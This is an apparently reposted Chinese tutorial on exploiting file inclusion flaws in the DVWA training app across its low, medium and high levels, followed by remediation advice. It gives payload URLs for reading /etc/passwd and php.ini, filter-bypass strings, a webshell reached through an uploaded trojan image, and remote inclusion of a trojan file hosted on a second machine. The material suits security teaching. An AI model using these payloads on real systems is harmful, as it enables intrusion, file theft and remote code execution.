DVWA之文件包含漏洞

news2024/11/26 10:27:21

文件包含漏洞原理

1、什么是文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

2、文件包含漏洞

程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

#动态包含和静态包含(只有动态包含才存在包含漏洞)

3、文件包含类的函数

JSP文件包含函数:java.io.file()、java.io.filereader()

#动态包含只支持包含web路径下的jsp文件。

aspc文件包含函数:incolude file、include virtual

#asp和aspx 均不支持动态包含,支持静态包含。

php文件包含函数:include include_once() require require_once() fopen() redefile()

#include() :执行到include()才包含文件,找不到包含文件只会产生警告,还会接着运行后面的脚本!

#require(): 只要程序一运行就会包含文件,找不到包含文件则会产生致命错误,并且脚本运行终止!

#include_once()和require_once()区别:如文件包含被运行了,则不会运行第二次

#redefile()函数#一般返回的是文件内容的字节数 包含漏洞不作研究

# 含文件无论后缀是什么,都会以php方式解析

文件包含漏洞类型

1.本地文件包含漏洞

本地包含顾名思义,就是在网站服务器本身存在恶意文件,然后利用本地文件包含使用

2.远程文件包含漏洞

远程文件包含就是调用其他网站的恶意文件进行打开

#要实现远程文件包含则需要 对 php.ini 进行一些配置

即allow_url_fopen和allow_url_include要为On,也就是打开状态。

DVWA之文件包含漏洞

安全级别:low

本地文件包含

页面显示三个三个文件,分别选择三个文件会跳转到三个不同的页面

http://192.168.245.238:88/vulnerabilities/fi/?page=file1.php
http://192.168.245.238:88/vulnerabilities/fi/?page=file2.php
http://192.168.245.238:88/vulnerabilities/fi/?page=file3.php

查看源代码属于一个GET请求通过page函数传参

此时漏洞点就暴露出来,此时我们可以尝试打开一些敏感文件,以 /etc/passwd/var/www/phpinfo.php文件为例,只要有足够的权限,在此处就可以打开想打开的文件。

构造请求参数

Linux系统
http://192.168.245.238:88/vulnerabilities/fi/?page=/etc/passwd   
http://192.168.245.238:88/vulnerabilities/fi/?page=/var/www/phpinfo.php  

 当构造文件不存在时直接把网站根目录暴露出来了

windows系统
#相对路径:http://192.168.245.238:88/vulnerabilities/fi/?page=C:\phpstudy_pro\WWW\DVWA-master\phpinfo.php
#绝对路径:http://192.168.245.238:88/vulnerabilities/fi/?page=C:\phpstudy_pro\WWW\DVWA-master\phpinfo.php

成功将代码执行,并将显示内容回显给前端 说明服务端属于windows系统

查看php.ini的配置信息

http://192.168.245.238/vulnerabilities/fi/?page=../../php.ini

 

漏洞利用:

方法一:本地文件包含

利用upload文件上传漏洞上传木马文件,再通过本地文件包含的方式读取木马文件达到webshell的目的

通过本地文件包含进行读取木马文件

http://192.168.245.238/vulnerabilities/fi/?page=../../hackable/uploads/webshell.jpg

方法二:远程文件包含

#攻击机和靶机在同一局域网内 互能ping通

在远程服务器192.168.245.139 网站目录做一个木马txt文件:

http://192.168.245.238:88/vulnerabilities/fi/?page=http://192.168.245.139/include/index1.txt

蚁剑工具链接:

因为DVWA有个身份验证信息需要将请求头信息配置好后才能通过蚁剑工具进行post请求连接,否则返回数据为空!

打开终端

安全级别:medium

与low级别相比,增加了str_place()函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。

str_replace函数会将http://删除 可以构造函数双写达到绕过

远程文件包含

http://192.168.245.238:88/vulnerabilities/fi/?page=htthttp://p://192.168.245.139/include/index1.txt

 本地文件包含

#绝对路径:http://192.168.245.238:88/vulnerabilities/fi/?page=C:\phpstudy_pro\WWW\DVWA-master\phpinfo.php
#相对路径:http://192.168.245.238:88/vulnerabilities/fi/?page=....//....//phpinfo.php

安全级别:high

本地文件包含

http://192.168.245.238:88/vulnerabilities/fi/?page=file://C:\phpstudy_pro\WWW\DVWA-master\phpinfo.php

远程文件包含

由于file协议只支持本地文件读取,不支持远程文件执行,就没办法执行远程文件(当然可以利用文件上传漏洞配合执行文件包含)

安全级别:impossible

 

文件包含漏洞的修复建议

1、输入验证:确保所有用户输入的数据都经过了适当的验证和过滤,以避免恶意输入导致的文件包含漏洞。

2、安全编码:使用安全编码实践来编写Web应用程序,例如不使用动态包含文件、限制文件路径长度、禁用不必要的功能等。

3、白名单过滤:只允许包含已知的、安全的文件类型和路径,以避免未知的文件包含漏洞。

4、服务器端包含:对于需要包含的文件,应该在服务器端进行处理,而不是将文件直接发送给客户端。这样可以避免客户端包含漏洞。

5、最小权限原则:为Web应用程序的所有文件和目录设置适当的权限,以限制攻击者获取敏感信息的能力。

6、更新软件和组件:及时更新Web应用程序所依赖的软件和组件,以修复已知的安全漏洞。

7、安全审计:定期对Web应用程序进行安全审计,以发现潜在的安全漏洞并及时修复。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/513594.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自学网络安全【黑客】,一般人我劝你还是算了吧

前言:我是劝一般人算了,看你是一般人还是。。。 一、网络安全学习的误区 1.不要试图以编程为基础去学习网络安全2.不要刚开始就深度学习网络安全3.收集适当的学习资料4.适当的报班学习二、学习网络安全的些许准备 1.硬件选择2.软件选择3.外语能力三、网…

数据结构:双向链表(带头循环)

朋友们、伙计们,我们又见面了,本期来给大家解读一下数据结构方面有关双向链表的相关知识点,如果看完之后对你有一定的启发,那么请留下你的三连,祝大家心想事成! C 语 言 专 栏:C语言&#xff1a…

时至今日,Linux会开源,也是一种态度

什么是开源?开源通常指开发者公开系统/应用程序源代码。通过对代码进行共享和重用,可以快速开发出高质量、低维护成本的应用程序。这意味着你不再需要花很多时间来学习新技术或编写复杂的代码。 一、Linux永远的神 就拿linux来举例子。 Linux系统的发起…

分享Python采集190个jQuery代码,总有一款适合您

分享Python采集190个jQuery代码,总有一款适合您 Python采集的190个jQuery代码下载链接:https://pan.baidu.com/s/1KxEOw7IfgZJq7yhYBM1nwg?pwdz3r1 提取码:z3r1 可拖拽的谷歌样式纯javascript模态窗口插件 简单实用的轻量级jQuery评分插…

ubuntu系统配置大恒相机驱动并读取ros话题

文章目录 0. 说明1. 安装大恒相机sdk1.1 下载1.2 安装sdk(用于配置ip和调试相机参数)(1) 电脑网卡配置(网卡固定ip)(2)查看相机图像以及配置相机参数 2. 安装ros驱动包(注:大恒相机官方没ros驱动)2.0 正确流程2.1 错误示范2.1 报错1--缺包2.2 报错2--包编译顺序问题…

CnOpenData缺陷产品召回数据

一、数据简介 缺陷产品召回,是指缺陷产品的生产商、销售商、进口商在得知其生产、销售或进口的产品存在可能引发消费者健康、安全问题的缺陷时,依法向职能部门报告,及时通知消费者,设法从市场上、消费者手中收回缺陷产品&#xff…

Python神经网络学习(六)--机器学习--强化学习

前言: 属实是失踪人口回归了。继续神经网络系列。 强化学习: 强化学习也是一个很重要的方向了,很多人用强化学习玩游戏,可能有人觉得强化学习很难(包括我),但是我今天用网上流传很广的、很经…

error: static assertion failed: std::atomic requires a trivially copy type

1. 报错信息 编译期错误&#xff0c;gcc version 7.5.0 错误示例代码&#xff1a; #include <atomic> #include <iostream> #include <vector>int main() {std::atomic<std::vector<int>> a; }2. 问题分析 报错信息里明确说了&#xff0c;ato…

商品说明书的翻译,中译英如何翻译效果好?

众所周知&#xff0c;国内产品进入国际市场&#xff0c;商品说明书的翻译是必不可少的&#xff0c;译文必须以准确的语言表达出原文的信息。那么&#xff0c;针对商品说明书翻译&#xff0c;中译英如何翻译效果好&#xff1f; 业内人士指出&#xff0c;很多商品说明书包含有关产…

学习PCL库:PCL库中的geometry模块介绍

公众号致力于点云处理&#xff0c;SLAM&#xff0c;三维视觉&#xff0c;高精地图等领域相关内容的干货分享&#xff0c;欢迎各位加入&#xff0c;有兴趣的可联系dianyunpcl163.com。未经作者允许请勿转载&#xff0c;欢迎各位同学积极分享和交流。 geometry模块介绍 PCL库中的…

【万字更新】Python基础教程:第六章_数据容器

原创&#xff1a;公众号 数据说话 【万字更新】Python基础教程&#xff1a;第六章_数据容器 为什么学习数据容器 思考一个问题&#xff1a;如果我想要在程序中&#xff0c;记录5名学生的信息&#xff0c;如姓名。 最好的方法是不是简单的定义5个字符串变量就可以了 name1&…

基于AT89C51单片机的计算器设计

点击链接获取Keil源码与Project Backups仿真图: https://download.csdn.net/download/qq_64505944/87772564 源码获取 主要内容: 本设计是基于51系列的单片机进行的设计,可以完成计算器的键盘输入,进行加、减、3位无符号数字的简单运算,并在LED上相应的显示结果。设计过…

TOB企业如何借助生态力,实现可持续增长

近年来&#xff0c;随着经济社会的高速发展&#xff0c;数字化转型已成为企业高质量发展“必答题”。企业开始通过购买产品、解决方案或者自研的方式来进行本企业的数字化建设。但是由于内部部门墙或者是系统之间的隔阂&#xff0c;难以做到以整个公司为视角的全面数字化建设&a…

数据库专题:数据库初学者的数据一致性

在这篇文章中&#xff0c;我将分享我在数据库学习课程中学到的知识&#xff0c;了解到目前为止让我着迷的数据库主题。 ​1&#xff1a;序言 在 2022 年底&#xff0c;当主题是数据库时&#xff0c;我决定把事情弄清楚&#xff0c;因为这总是一种痛苦&#xff0c;作为后端开发…

虚拟汽车加油问题——算法设计与分析(C实现)

目录 一、问题描述 二、问题剖析 三、代码实现 四、结果验证 一、问题描述 问题描述&#xff1a;一辆虚拟汽车加满油后可行驶n km。旅途中有若干加油站。设计一个有效算法&#xff0c;指出应该在那些加油站停靠加油&#xff0c;使沿途加油次数最少。并证明算法的能产生一个…

安卓Webview网页秒开策略探索

1 人赞同了该文章 痛点是什么&#xff1f; 网页加载缓慢&#xff0c;白屏&#xff0c;使用卡顿。 为何有这种问题&#xff1f; 1.调用loadUrl()方法的时候&#xff0c;才会开始网页加载流程 2.js臃肿问题 3.加载图片太多 4.webview本身问题 webiew是怎么加载网页的呢&…

品优购项目学习记录--01公共模块制作

文章目录 一、品优购项目规划1.1 开发工具以及技术栈1.1.1 开发工具1.1.2 技术栈 1.2 品优购项目搭建工作1.2.1 相关文件夹以及文件创建1.2.2 模块化开发1.2.3 网站favicon图标1.2.4 网站TDK三大标签SEO优化 二、品优购首页制作2.1 常用模块类名命名2.2 快捷导航shortcut制作2.…

传统的二次开发有哪些痛点问题?低代码平台帮你解决

一、什么是二次开发呢&#xff1f; 简单的来讲&#xff0c;二次开发就是在原有得软件中进行功能等方面得修改或者扩展&#xff0c;但是不改变原有系统的内核。 二、传统的二次开发有哪些痛点问题&#xff1f; 很多企业在业务发展的过程中会产生各种各样不同得需求&#xff0…

融云亮相「中国信息技术应用创新大会」,入选数字化转型优秀方案集

4 月 27 日&#xff0c;以“全栈创新 从可用到好用”为主题的“2023 第六届中国信息技术应用创新大会”在京顺利召开。移步【融云全球互联网通信云】回复“地图”限量免费领《社交泛娱乐出海作战地图》 大会以“论坛展示展览”的方式&#xff0c;全面、深入地反映信创产业的最新…

基于Android studio的机票管理app设计与开发案例

一 功能介绍 1. 用户模式功能&#xff1a; 用户注册登录功能&#xff08;账号、密码&#xff09;&#xff1b;航班信息&#xff08;航班号、起飞时间、登机时间、起点、终点、登机口&#xff09;&#xff1b;购买机票机票信息&#xff08;航班号、审核状态、乘客姓名、联系方…